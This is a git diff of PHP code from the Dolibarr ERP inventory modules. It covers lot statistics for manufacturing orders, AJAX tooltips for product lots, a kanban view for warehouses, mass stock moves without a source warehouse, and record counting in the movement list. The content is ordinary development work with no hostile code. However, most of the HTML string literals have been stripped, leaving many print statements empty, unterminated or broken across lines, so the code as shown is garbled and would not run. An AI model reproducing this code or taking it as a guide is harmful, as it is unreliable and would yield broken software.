+ + + // Virtual products can't be used with kits (see langs with key ErrorNoteAlsoThatSubProductCantBeFollowedByLot) + + // if it's a virtual product, maybe it is in invoice by extension + // if (!empty($conf->global->PRODUCT_STATS_WITH_PARENT_PROD_IF_INCDEC)) { + // $TFather = $this->getFather(); + // if (is_array($TFather) && !empty($TFather)) { + // foreach ($TFather as &$fatherData) { + // $pFather = new Product($this->db); + // $pFather->id = $fatherData['id']; + // $qtyCoef = $fatherData['qty']; + // + // if ($fatherData['incdec']) { + // $pFather->loadStatsReception($socid); + // + // $this->stats_expedition['customers'] += $pFather->stats_expedition['customers']; + // $this->stats_expedition['nb'] += $pFather->stats_expedition['nb']; + // $this->stats_expedition['rows'] += $pFather->stats_expedition['rows']; + // $this->stats_expedition['qty'] += $pFather->stats_expedition['qty'] * $qtyCoef; + // } + // } + // } + // } + + $parameters = array('socid' => $socid); + $reshook = $hookmanager->executeHooks('loadStatsLotReception', $parameters, $this, $action); + if ($reshook > 0) { + $this->stats_expedition = $hookmanager->resArray['stats_expedition']; + } + + return 1; + } else { + $this->error = $this->db->error(); + return -1; + } + } + + /** + * Charge tableau des stats expedition pour le lot/numéro de série + * + * @param int $socid Id societe + * @return int Array of stats in $this->stats_expedition, <0 if ko or >0 if ok + */ + public function loadStatsMo($socid = 0) + { + // phpcs:enable + global $user, $hookmanager, $action; + + $error = 0; + + foreach (array('toconsume', 'consumed', 'toproduce', 'produced') as $role) { + $this->stats_mo['customers_'.$role] = 0; + $this->stats_mo['nb_'.$role] = 0; + $this->stats_mo['qty_'.$role] = 0; + + $sql = "SELECT COUNT(DISTINCT c.fk_soc) as nb_customers, COUNT(DISTINCT c.rowid) as nb,"; + $sql .= " SUM(mp.qty) as qty"; + $sql .= " FROM ".$this->db->prefix()."mrp_mo as c"; + $sql .= " INNER JOIN ".$this->db->prefix()."mrp_production as mp ON mp.fk_mo=c.rowid"; + if (empty($user->rights->societe->client->voir) && !$socid) { + $sql .= "INNER JOIN ".$this->db->prefix()."societe_commerciaux as sc ON sc.fk_soc=c.fk_soc AND sc.fk_user = ".((int) $user->id); + } + $sql .= " WHERE "; + $sql .= " c.entity IN (".getEntity('mo').")"; + + $sql .= " AND mp.batch = '".($this->db->escape($this->batch))."'"; + $sql .= " AND mp.role ='".$this->db->escape($role)."'"; + if ($socid > 0) { + $sql .= " AND c.fk_soc = ".((int) $socid); + } + + $result = $this->db->query($sql); + if ($result) { + $obj = $this->db->fetch_object($result); + $this->stats_mo['customers_'.$role] = $obj->nb_customers ? $obj->nb_customers : 0; + $this->stats_mo['nb_'.$role] = $obj->nb ? $obj->nb : 0; + $this->stats_mo['qty_'.$role] = $obj->qty ? price2num($obj->qty, 'MS') : 0; // qty may be a float due to the SUM() + } else { + $this->error = $this->db->error(); + $error++; + } + } + + if (!empty($error)) { + return -1; + } + + $parameters = array('socid' => $socid); + $reshook = $hookmanager->executeHooks('loadStatsCustomerMO', $parameters, $this, $action); + if ($reshook > 0) { + $this->stats_mo = $hookmanager->resArray['stats_mo']; + } + + return 1; + } + /** * Return label of status of object @@ -582,6 +875,36 @@ class Productlot extends CommonObject } + /** + * getTooltipContentArray + * + * @param array $params Params to construct tooltip data + * @since v18 + * @return array + */ + public function getTooltipContentArray($params) + { + global $conf, $langs, $user; + + $langs->loadLangs(['stocks', 'productbatch']); + + $option = $params['option'] ?? ''; + + $datas = []; + $datas['picto'] = img_picto('', $this->picto).' '.$langs->trans("Batch").''; + //$datas['divopen'] = '
      '; + $datas['batch'] = '
      '.$langs->trans('Batch').': '.$this->batch; + if ($this->eatby && empty($conf->global->PRODUCT_DISABLE_EATBY)) { + $datas['eatby'] = '
      '.$langs->trans('EatByDate').': '.dol_print_date($this->db->jdate($this->eatby), 'day'); + } + if ($this->sellby && empty($conf->global->PRODUCT_DISABLE_SELLBY)) { + $datas['sellby'] = '
      '.$langs->trans('SellByDate').': '.dol_print_date($this->db->jdate($this->sellby), 'day'); + } + //$datas['divclose'] = '
      '; + + return $datas; + } + /** * Return a link to the a lot card (with optionaly the picto) * Use this->id,this->lastname, this->firstname @@ -596,20 +919,24 @@ class Productlot extends CommonObject */ public function getNomUrl($withpicto = 0, $option = '', $notooltip = 0, $maxlen = 24, $morecss = '', $save_lastsearch_value = -1) { - global $langs, $conf, $db; + global $langs, $conf, $hookmanager, $db; global $dolibarr_main_authentication, $dolibarr_main_demo; global $menumanager; $result = ''; - - $label = img_picto('', $this->picto).' '.$langs->trans("Batch").''; - $label .= '
      '; - $label .= ''.$langs->trans('Batch').': '.$this->batch; - if ($this->eatby && empty($conf->global->PRODUCT_DISABLE_EATBY)) { - $label .= '
      '.$langs->trans('EatByDate').': '.dol_print_date($this->eatby, 'day'); - } - if ($this->sellby && empty($conf->global->PRODUCT_DISABLE_SELLBY)) { - $label .= '
      '.$langs->trans('SellByDate').': '.dol_print_date($this->sellby, 'day'); + $params = [ + 'id' => $this->id, + 'objecttype' => $this->element, + 'option' => $option, + ]; + $classfortooltip = 'classfortooltip'; + $dataparams = ''; + if (getDolGlobalInt('MAIN_ENABLE_AJAX_TOOLTIP')) { + $classfortooltip = 'classforajaxtooltip'; + $dataparams = ' data-params="'.dol_escape_htmltag(json_encode($params)).'"'; + $label = ''; + } else { + $label = implode($this->getTooltipContentArray($params)); } $url = DOL_URL_ROOT.'/product/stock/productlot_card.php?id='.$this->id; @@ -631,8 +958,8 @@ class Productlot extends CommonObject $label = $langs->trans("ShowMyObject"); $linkclose .= ' alt="'.dol_escape_htmltag($label, 1).'"'; } - $linkclose .= ' title="'.dol_escape_htmltag($label, 1).'"'; - $linkclose .= ' class="classfortooltip'.($morecss ? ' '.$morecss : '').'"'; + $linkclose .= ($label ? ' title="'.dol_escape_htmltag($label, 1).'"' : ' title="tocomplete"'); + $linkclose .= $dataparams.' class="'.$classfortooltip.($morecss ? ' '.$morecss : '').'"'; } else { $linkclose = ($morecss ? ' class="'.$morecss.'"' : ''); } @@ -651,13 +978,23 @@ class Productlot extends CommonObject $result .= $linkstart; if ($withpicto) { - $result .= img_object(($notooltip ? '' : $label), ($this->picto ? $this->picto : 'generic'), ($notooltip ? (($withpicto != 2) ? 'class="paddingright"' : '') : 'class="'.(($withpicto != 2) ? 'paddingright ' : '').'classfortooltip"'), 0, 0, $notooltip ? 0 : 1); + $result .= img_object(($notooltip ? '' : $label), ($this->picto ? $this->picto : 'generic'), ($notooltip ? (($withpicto != 2) ? 'class="paddingright"' : '') : $dataparams.' class="'.(($withpicto != 2) ? 'paddingright ' : '').$classfortooltip.'"'), 0, 0, $notooltip ? 0 : 1); } if ($withpicto != 2) { $result .= $this->batch; } $result .= $linkend; + global $action; + $hookmanager->initHooks(array('productlotdao')); + $parameters = array('id' => $this->id, 'getnomurl' => $result); + $reshook = $hookmanager->executeHooks('getNomUrl', $parameters, $this, $action); // Note that $action and $object may have been modified by some hooks + if ($reshook > 0) { + $result = $hookmanager->resPrint; + } else { + $result .= $hookmanager->resPrint; + } + return $result; } @@ -670,9 +1007,14 @@ class Productlot extends CommonObject */ public function initAsSpecimen() { - $this->id = 0; + global $conf; - $this->entity = null; + // Initialise parametres + $this->id = 0; + $this->ref = 'SPECIMEN'; + $this->specimen = 1; + + $this->entity = $conf->entity; $this->fk_product = null; $this->batch = ''; $this->eatby = ''; @@ -683,4 +1025,37 @@ class Productlot extends CommonObject $this->fk_user_modif = null; $this->import_key = ''; } + + /** + * Create a document onto disk according to template module. + * + * @param string $modele Force model to use ('' to not force) + * @param Translate $outputlangs Object langs to use for output + * @param int $hidedetails Hide details of lines + * @param int $hidedesc Hide description + * @param int $hideref Hide ref + * @return int 0 if KO, 1 if OK + */ + public function generateDocument($modele, $outputlangs, $hidedetails = 0, $hidedesc = 0, $hideref = 0) + { + global $conf, $user, $langs; + + $langs->loadLangs(array('stocks', 'productbatch', "products")); + $outputlangs->loadLangs(array('stocks', 'productbatch', "products")); + + // Positionne le modele sur le nom du modele a utiliser + if (!dol_strlen($modele)) { + $modele = ''; + + if (!empty($this->model_pdf)) { + $modele = $this->model_pdf; + } elseif (!empty($conf->global->PRODUCT_BATCH_ADDON_PDF)) { + $modele = $conf->global->PRODUCT_BATCH_ADDON_PDF; + } + } + + $modelpath = "core/modules/product_batch/doc/"; + + return $this->commonGenerateDocument($modelpath, $modele, $outputlangs, $hidedetails, $hidedesc, $hideref); + } } diff --git a/htdocs/product/stock/class/productstockentrepot.class.php b/htdocs/product/stock/class/productstockentrepot.class.php index a0310a16359..1151890a4b1 100644 --- a/htdocs/product/stock/class/productstockentrepot.class.php +++ b/htdocs/product/stock/class/productstockentrepot.class.php @@ -242,7 +242,7 @@ class ProductStockEntrepot extends CommonObject * @param array $filter filter array * @param string $filtermode filter mode (AND or OR) * - * @return int <0 if KO, >0 if OK + * @return int|array <0 if KO, array if OK */ public function fetchAll($fk_product = '', $fk_entrepot = '', $sortorder = '', $sortfield = '', $limit = 0, $offset = 0, array $filter = array(), $filtermode = 'AND') { diff --git a/htdocs/product/stock/index.php b/htdocs/product/stock/index.php index dcf53a760b1..896ba2e20ba 100644 --- a/htdocs/product/stock/index.php +++ b/htdocs/product/stock/index.php @@ -162,7 +162,7 @@ if ($resql) { print '
      '; print ''; - print ""; + print ''; print ''; print ''; if (isModEnabled('productbatch')) { @@ -202,7 +202,7 @@ if ($resql) { print ''; print ''; - print '\n"; if (isModEnabled('productbatch')) { @@ -216,7 +216,7 @@ if ($resql) { print ''; }*/ } - print '\n"; print ''; } @@ -609,7 +619,8 @@ $i = 0; $warehouse = new Entrepot($db); -while ($i < min($num, $limit)) { +$imaxinloop = ($limit ? min($num, $limit) : $num); +while ($i < $imaxinloop) { $obj = $db->fetch_object($resql); if (empty($obj)) { break; // Should not happen @@ -619,158 +630,175 @@ while ($i < min($num, $limit)) { $warehouse->setVarsFromFetchObj($obj); $warehouse->label = $warehouse->ref; + $warehouse->sellvalue = $obj->sellvalue; - // Show here line of result - print ''; + if ($mode =='kanban') { + if ($i == 0) { + print ''; - } - foreach ($warehouse->fields as $key => $val) { - if ($key == 'statut') { - continue; - } - $cssforfield = (empty($val['csslist']) ? (empty($val['css']) ? '' : $val['css']) : $val['csslist']); - if (in_array($val['type'], array('date', 'datetime', 'timestamp'))) { - $cssforfield .= ($cssforfield ? ' ' : '').'center'; - } elseif ($key == 'status') { - $cssforfield .= ($cssforfield ? ' ' : '').'center'; + if ($i == ($imaxinloop - 1)) { + print ''; + print ''; } + } else { + // Show here line of result + print ''; - if (in_array($val['type'], array('timestamp'))) { - $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; - } elseif ($key == 'ref') { - $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; - } - - if (in_array($val['type'], array('double(24,8)', 'double(6,3)', 'integer', 'real', 'price')) && $key != 'status' && empty($val['arrayofkeyval'])) { - $cssforfield .= ($cssforfield ? ' ' : '').'right'; - } - if (in_array($key, array('fk_soc', 'fk_user', 'fk_warehouse'))) { - $cssforfield = 'tdoverflowmax100'; - } - - if (!empty($arrayfields['t.'.$key]['checked'])) { - print ''; - if ($key == 'statut') { - print $warehouse->getLibStatut(5); - } - if ($key == 'phone') { - print dol_print_phone($obj->phone, '', 0, $obj->rowid, 'AC_TEL'); - } elseif ($key == 'fax') { - print dol_print_phone($obj->fax, '', 0, $obj->rowid, 'AC_FAX'); - } else { - print $warehouse->showOutputField($val, $key, $warehouse->$key, ''); + // Action column + if (!empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + print ''; if (!$i) { $totalarray['nbfield']++; } - if (!empty($val['isameasure']) && $val['isameasure'] == 1) { + } + foreach ($warehouse->fields as $key => $val) { + if ($key == 'statut') { + continue; + } + $cssforfield = (empty($val['csslist']) ? (empty($val['css']) ? '' : $val['css']) : $val['csslist']); + if (in_array($val['type'], array('date', 'datetime', 'timestamp'))) { + $cssforfield .= ($cssforfield ? ' ' : '').'center'; + } elseif ($key == 'status') { + $cssforfield .= ($cssforfield ? ' ' : '').'center'; + } + + if (in_array($val['type'], array('timestamp'))) { + $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; + } elseif ($key == 'ref') { + $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; + } + + if (in_array($val['type'], array('double(24,8)', 'double(6,3)', 'integer', 'real', 'price')) && $key != 'status' && empty($val['arrayofkeyval'])) { + $cssforfield .= ($cssforfield ? ' ' : '').'right'; + } + if (in_array($key, array('fk_soc', 'fk_user', 'fk_warehouse'))) { + $cssforfield = 'tdoverflowmax100'; + } + + if (!empty($arrayfields['t.'.$key]['checked'])) { + print ''; + if ($key == 'statut') { + print $warehouse->getLibStatut(5); + } + if ($key == 'phone') { + print dol_print_phone($obj->phone, '', 0, $obj->rowid, 'AC_TEL'); + } elseif ($key == 'fax') { + print dol_print_phone($obj->fax, '', 0, $obj->rowid, 'AC_FAX'); + } else { + print $warehouse->showOutputField($val, $key, $warehouse->$key, ''); + } + print ''; if (!$i) { - $totalarray['pos'][$totalarray['nbfield']] = 't.'.$key; + $totalarray['nbfield']++; } - if (!isset($totalarray['val'])) { - $totalarray['val'] = array(); + if (!empty($val['isameasure']) && $val['isameasure'] == 1) { + if (!$i) { + $totalarray['pos'][$totalarray['nbfield']] = 't.'.$key; + } + if (!isset($totalarray['val'])) { + $totalarray['val'] = array(); + } + if (!isset($totalarray['val']['t.'.$key])) { + $totalarray['val']['t.'.$key] = 0; + } + $totalarray['val']['t.'.$key] += $warehouse->$key; } - if (!isset($totalarray['val']['t.'.$key])) { - $totalarray['val']['t.'.$key] = 0; - } - $totalarray['val']['t.'.$key] += $warehouse->$key; } } - } - // Stock qty - if (!empty($arrayfields["stockqty"]['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - if (!$i) { - $totalarray['pos'][$totalarray['nbfield']] = 'stockqty'; - } - } - - // PMP value - if (!empty($arrayfields["estimatedvalue"]['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - if (!$i) { - $totalarray['pos'][$totalarray['nbfield']] = 'estimatedvalue'; - } - } - - // Selling value - if (!empty($arrayfields["estimatedstockvaluesell"]['checked'])) { - print ''; + if (!$i) { + $totalarray['nbfield']++; } - } else { - $htmltext = $langs->trans("OptionMULTIPRICESIsOn"); - print $form->textwithtooltip(''.$langs->trans("Variable").'', $htmltext); - } - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - if (!$i) { - $totalarray['pos'][$totalarray['nbfield']] = 'estimatedstockvaluesell'; - } - } - - // Extra fields - include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_print_fields.tpl.php'; - // Fields from hook - $parameters = array('arrayfields'=>$arrayfields, 'object'=>$object, 'obj'=>$obj, 'i'=>$i, 'totalarray'=>&$totalarray); - $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters, $object); // Note that $action and $object may have been modified by hook - print $hookmanager->resPrint; - - // Status - if (!empty($arrayfields['t.statut']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Action column - if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { - print ''; - } - if (!$i) { - $totalarray['nbfield']++; - } - print ''."\n"; + // PMP value + if (!empty($arrayfields["estimatedvalue"]['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + if (!$i) { + $totalarray['pos'][$totalarray['nbfield']] = 'estimatedvalue'; + } + } + // Selling value + if (!empty($arrayfields["estimatedstockvaluesell"]['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + if (!$i) { + $totalarray['pos'][$totalarray['nbfield']] = 'estimatedstockvaluesell'; + } + } + + // Extra fields + include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_print_fields.tpl.php'; + // Fields from hook + $parameters = array('arrayfields'=>$arrayfields, 'object'=>$object, 'obj'=>$obj, 'i'=>$i, 'totalarray'=>&$totalarray); + $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters, $object); // Note that $action and $object may have been modified by hook + print $hookmanager->resPrint; + + // Status + if (!empty($arrayfields['t.statut']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Action column + if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + print ''."\n"; + } $i++; } diff --git a/htdocs/product/stock/massstockmove.php b/htdocs/product/stock/massstockmove.php index 0c41cbed44a..df0eb013397 100644 --- a/htdocs/product/stock/massstockmove.php +++ b/htdocs/product/stock/massstockmove.php @@ -1,5 +1,5 @@ +/* Copyright (C) 2013-2022 Laurent Destaileur * Copyright (C) 2014 Regis Houssin * * This program is free software: you can redistribute it and/or modify @@ -77,6 +77,9 @@ if (!$sortorder) { $limit = GETPOST('limit', 'int') ?GETPOST('limit', 'int') : $conf->liste_limit; $offset = $limit * $page; +if (GETPOST('init')) { + unset($_SESSION['massstockmove']); +} $listofdata = array(); if (!empty($_SESSION['massstockmove'])) { $listofdata = json_decode($_SESSION['massstockmove'], true); @@ -88,13 +91,12 @@ if (!empty($_SESSION['massstockmove'])) { */ if ($action == 'addline' && !empty($user->rights->stock->mouvement->creer)) { - if (!($id_product > 0)) { - $error++; - setEventMessages($langs->trans("ErrorFieldRequired", $langs->transnoentitiesnoconv("Product")), null, 'errors'); - } if (!($id_sw > 0)) { - $error++; - setEventMessages($langs->trans("ErrorFieldRequired", $langs->transnoentitiesnoconv("WarehouseSource")), null, 'errors'); + //$error++; + //setEventMessages($langs->trans("ErrorFieldRequired", $langs->transnoentitiesnoconv("WarehouseSource")), null, 'errors'); + if ($id_sw < 0) { + $id_sw = 0; + } } if (!($id_tw > 0)) { $error++; @@ -105,6 +107,10 @@ if ($action == 'addline' && !empty($user->rights->stock->mouvement->creer)) { $langs->load("errors"); setEventMessages($langs->trans("ErrorWarehouseMustDiffers"), null, 'errors'); } + if (!($id_product > 0)) { + $error++; + setEventMessages($langs->trans("ErrorFieldRequired", $langs->transnoentitiesnoconv("Product")), null, 'errors'); + } if (!$qty) { $error++; setEventMessages($langs->trans("ErrorFieldRequired", $langs->transnoentitiesnoconv("Qty")), null, 'errors'); @@ -132,6 +138,7 @@ if ($action == 'addline' && !empty($user->rights->stock->mouvement->creer)) { } } + //var_dump($_SESSION['massstockmove']);exit; if (!$error) { if (count(array_keys($listofdata)) > 0) { $id = max(array_keys($listofdata)) + 1; @@ -197,20 +204,22 @@ if ($action == 'createmovements' && !empty($user->rights->stock->mouvement->cree //print 'price src='.$pricesrc.', price dest='.$pricedest;exit; - if (empty($conf->productbatch->enabled) || !$product->hasbatch()) { // If product does not need lot/serial - // Remove stock - $result1 = $product->correct_stock( - $user, - $id_sw, - $qty, - 1, - GETPOST("label"), - $pricesrc, - GETPOST("codemove") - ); - if ($result1 < 0) { - $error++; - setEventMessages($product->error, $product->errors, 'errors'); + if (empty($conf->productbatch->enabled) || !$product->hasbatch()) { // If product does not need lot/serial + // Remove stock if source warehouse defined + if ($id_sw > 0) { + $result1 = $product->correct_stock( + $user, + $id_sw, + $qty, + 1, + GETPOST("label"), + $pricesrc, + GETPOST("codemove") + ); + if ($result1 < 0) { + $error++; + setEventMessages($product->error, $product->errors, 'errors'); + } } // Add stock @@ -244,21 +253,23 @@ if ($action == 'createmovements' && !empty($user->rights->stock->mouvement->cree } // Remove stock - $result1 = $product->correct_stock_batch( - $user, - $id_sw, - $qty, - 1, - GETPOST("label"), - $pricesrc, - $dlc, - $dluo, - $batch, - GETPOST("codemove") - ); - if ($result1 < 0) { - $error++; - setEventMessages($product->error, $product->errors, 'errors'); + if ($id_sw > 0) { + $result1 = $product->correct_stock_batch( + $user, + $id_sw, + $qty, + 1, + GETPOST("label"), + $pricesrc, + $dlc, + $dluo, + $batch, + GETPOST("codemove") + ); + if ($result1 < 0) { + $error++; + setEventMessages($product->error, $product->errors, 'errors'); + } } // Add stock @@ -285,6 +296,7 @@ if ($action == 'createmovements' && !empty($user->rights->stock->mouvement->cree } } } + //var_dump($_SESSION['massstockmove']);exit; if (!$error) { unset($_SESSION['massstockmove']); @@ -465,9 +477,9 @@ llxHeader('', $title, $help_url); print load_fiche_titre($langs->trans("MassStockTransferShort"), '', 'stock'); $titletoadd = $langs->trans("Select"); -$buttonrecord = $langs->trans("RecordMovement"); +$buttonrecord = $langs->trans("RecordMovements"); $titletoaddnoent = $langs->transnoentitiesnoconv("Select"); -$buttonrecordnoent = $langs->transnoentitiesnoconv("RecordMovement"); +$buttonrecordnoent = $langs->transnoentitiesnoconv("RecordMovements"); print ''.$langs->trans("SelectProductInAndOutWareHouse", $titletoaddnoent, $buttonrecordnoent).'
      '; print '
      '; @@ -569,25 +581,25 @@ $param = ''; print '
      '; print getTitleFieldOfList($langs->trans('WarehouseSource'), 0, $_SERVER["PHP_SELF"], '', $param, '', '', $sortfield, $sortorder, 'tagtd maxwidthonsmartphone '); print getTitleFieldOfList($langs->trans('WarehouseTarget'), 0, $_SERVER["PHP_SELF"], '', $param, '', '', $sortfield, $sortorder, 'tagtd maxwidthonsmartphone '); -print getTitleFieldOfList($langs->trans('ProductRef'), 0, $_SERVER["PHP_SELF"], '', $param, '', '', $sortfield, $sortorder, 'tagtd maxwidthonsmartphone '); +print getTitleFieldOfList($langs->trans('Product'), 0, $_SERVER["PHP_SELF"], '', $param, '', '', $sortfield, $sortorder, 'tagtd maxwidthonsmartphone '); if (isModEnabled('productbatch')) { print getTitleFieldOfList($langs->trans('Batch'), 0, $_SERVER["PHP_SELF"], '', $param, '', '', $sortfield, $sortorder, 'tagtd maxwidthonsmartphone '); } -print getTitleFieldOfList($langs->trans('Qty'), 0, $_SERVER["PHP_SELF"], '', $param, '', '', $sortfield, $sortorder, 'center tagtd maxwidthonsmartphone '); +print getTitleFieldOfList($langs->trans('Qty'), 0, $_SERVER["PHP_SELF"], '', $param, '', '', $sortfield, $sortorder, 'right tagtd maxwidthonsmartphone '); print getTitleFieldOfList('', 0); print ''; print ''; // From warehouse -print ''; // To warehouse -print ''; // Product -print ''; // Batch number if (isModEnabled('productbatch')) { - print ''; } // Qty -print ''; +print ''; // Button to add line print ''; @@ -617,18 +629,25 @@ print ''; foreach ($listofdata as $key => $val) { $productstatic->fetch($val['id_product']); - $warehousestatics->fetch($val['id_sw']); - $warehousestatict->fetch($val['id_tw']); + + $warehousestatics->id = 0; + $warehousestatict->id = 0; + if ($val['id_sw'] > 0) { + $warehousestatics->fetch($val['id_sw']); + } + if ($val['id_tw'] > 0) { + $warehousestatict->fetch($val['id_tw']); + } if ($productstatic->id <= 0) { $error++; setEventMessages($langs->trans("ObjectNotFound", $langs->transnoentitiesnoconv("Product")), null, 'errors'); } - if ($warehousestatics->id <= 0) { + if ($warehousestatics->id < 0) { // We accept 0 for source warehouse id $error++; setEventMessages($langs->trans("ObjectNotFound", $langs->transnoentitiesnoconv("WarehouseSource")), null, 'errors'); } - if ($warehousestatics->id <= 0) { + if ($warehousestatict->id <= 0) { $error++; setEventMessages($langs->trans("ObjectNotFound", $langs->transnoentitiesnoconv("WarehouseTarget")), null, 'errors'); } @@ -636,7 +655,13 @@ foreach ($listofdata as $key => $val) { if (!$error) { print ''; print ''; print ''; } - print ''; + print ''; print ''; print ''; } @@ -670,7 +695,7 @@ if (count($listofdata)) { // Button to record mass movement $codemove = (GETPOSTISSET("codemove") ? GETPOST("codemove", 'alpha') : dol_print_date(dol_now(), '%Y%m%d%H%M%S')); - $labelmovement = GETPOST("label") ? GETPOST('label') : $langs->trans("StockTransfer").' '.dol_print_date($now, '%Y-%m-%d %H:%M'); + $labelmovement = GETPOST("label") ? GETPOST('label') : $langs->trans("MassStockTransferShort").' '.dol_print_date($now, '%Y-%m-%d %H:%M'); print '
      '; print ''.$langs->trans("InventoryCode").': '; @@ -696,6 +721,7 @@ if ($action == 'delete') { llxFooter(); $db->close(); + /** * Verify if $haystack startswith $needle * diff --git a/htdocs/product/stock/movement_list.php b/htdocs/product/stock/movement_list.php index 171ee79be9d..09f1975bcb4 100644 --- a/htdocs/product/stock/movement_list.php +++ b/htdocs/product/stock/movement_list.php @@ -600,7 +600,6 @@ if (!empty($conf->project->enabled)) { } // Build and execute select -// -------------------------------------------------------------------- $sql = "SELECT p.rowid, p.ref as product_ref, p.label as produit, p.tosell, p.tobuy, p.tobatch, p.fk_product_type as type, p.entity,"; $sql .= " e.ref as warehouse_ref, e.rowid as entrepot_id, e.lieu, e.fk_parent, e.statut,"; $sql .= " m.rowid as mid, m.value as qty, m.datem, m.fk_user_author, m.label, m.inventorycode, m.fk_origin, m.origintype,"; @@ -618,8 +617,11 @@ if (!empty($extrafields->attributes[$object->table_element]['label'])) { // Add fields from hooks $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldListSelect', $parameters); // Note that $action and $object may have been modified by hook -$sql .= preg_replace('/^,/', '', $hookmanager->resPrint); +$sql .= $hookmanager->resPrint; $sql = preg_replace('/,\s*$/', '', $sql); + +$sqlfields = $sql; // $sql fields to remove for count total + $sql .= " FROM ".MAIN_DB_PREFIX."entrepot as e,"; $sql .= " ".MAIN_DB_PREFIX."product as p,"; $sql .= " ".MAIN_DB_PREFIX."stock_mouvement as m"; @@ -628,6 +630,12 @@ if (!empty($extrafields->attributes[$object->table_element]['label']) && is_arra } $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."user as u ON m.fk_user_author = u.rowid"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."product_lot as pl ON m.batch = pl.batch AND m.fk_product = pl.fk_product"; + +// Add table from hooks +$parameters = array(); +$reshook = $hookmanager->executeHooks('printFieldListFrom', $parameters, $object, $action); // Note that $action and $object may have been modified by hook +$sql .= $hookmanager->resPrint; + $sql .= " WHERE m.fk_product = p.rowid"; if ($msid > 0) { $sql .= " AND m.rowid = ".((int) $msid); @@ -692,49 +700,21 @@ $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldListWhere', $parameters); // Note that $action and $object may have been modified by hook $sql .= $hookmanager->resPrint; -/* If a group by is required - $sql .= " GROUP BY "; - foreach($object->fields as $key => $val) { - $sql .= "t.".$key.", "; - } - // Add fields from extrafields - if (!empty($extrafields->attributes[$object->table_element]['label'])) { - foreach ($extrafields->attributes[$object->table_element]['label'] as $key => $val) { - $sql .= ($extrafields->attributes[$object->table_element]['type'][$key] != 'separate' ? "ef.".$key.', ' : ''); - } - } - // Add where from hooks - $parameters = array(); - $reshook = $hookmanager->executeHooks('printFieldListGroupBy', $parameters, $object); // Note that $action and $object may have been modified by hook - $sql .= $hookmanager->resPrint; - $sql = preg_replace('/,\s*$/', '', $sql); - */ - -// Add HAVING from hooks -/* - $parameters = array(); - $reshook = $hookmanager->executeHooks('printFieldListHaving', $parameters, $object); // Note that $action and $object may have been modified by hook - $sql .= empty($hookmanager->resPrint) ? "" : " HAVING 1=1 ".$hookmanager->resPrint; - */ - // Count total nb of records $nbtotalofrecords = ''; if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { - /* This old and fast method to get and count full list returns all record so use a high amount of memory. - $resql = $db->query($sql); - $nbtotalofrecords = $db->num_rows($resql); - */ - /* The slow method does not consume memory on mysql (not tested on pgsql) */ - /*$resql = $db->query($sql, 0, 'auto', 1); - while ($db->fetch_object($resql)) { - $nbtotalofrecords++; - }*/ /* The fast and low memory method to get and count full list converts the sql into a sql count */ - $sqlforcount = preg_replace('/^SELECT[a-zA-Z0-9\._\s\(\),=<>\:\-\']+\sFROM/Ui', 'SELECT COUNT(*) as nbtotalofrecords FROM', $sql); + $sqlforcount = preg_replace('/^'.preg_quote($sqlfields, '/').'/', 'SELECT COUNT(*) as nbtotalofrecords', $sql); + $sqlforcount = preg_replace('/GROUP BY .*$/', '', $sqlforcount); $resql = $db->query($sqlforcount); - $objforcount = $db->fetch_object($resql); - $nbtotalofrecords = $objforcount->nbtotalofrecords; - if (($page * $limit) > $nbtotalofrecords) { // if total of record found is smaller than page * limit, goto and load page 0 + if ($resql) { + $objforcount = $db->fetch_object($resql); + $nbtotalofrecords = $objforcount->nbtotalofrecords; + } else { + dol_print_error($db); + } + + if (($page * $limit) > $nbtotalofrecords) { // if total resultset is smaller then paging size (filtering), goto and load page 0 $page = 0; $offset = 0; } @@ -822,7 +802,7 @@ if ($object->id > 0) { $morehtmlref .= ''; $morehtmlref .= ''; } else { - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1, '', 'maxwidth300'); } } else { if (!empty($object->fk_project)) { @@ -1369,7 +1349,7 @@ while ($i < ($limit ? min($num, $limit) : $num)) { print '
      '; // Id movement if (!empty($arrayfields['m.rowid']['checked'])) { - print ''; // This is primary not movement id @@ -1501,7 +1481,7 @@ print ''; print ""; // Add number of product when there is a filter on period -if (count($arrayofuniqueproduct) == 1 && is_numeric($year)) { +if (count($arrayofuniqueproduct) == 1 && !empty($year) && is_numeric($year)) { print "
      "; $productidselected = 0; diff --git a/htdocs/product/stock/product.php b/htdocs/product/stock/product.php index b0771bc39d9..80a5f969a84 100644 --- a/htdocs/product/stock/product.php +++ b/htdocs/product/stock/product.php @@ -903,7 +903,7 @@ if ($id > 0 || $ref) { print ''; print ''; - print '
      '; + print '
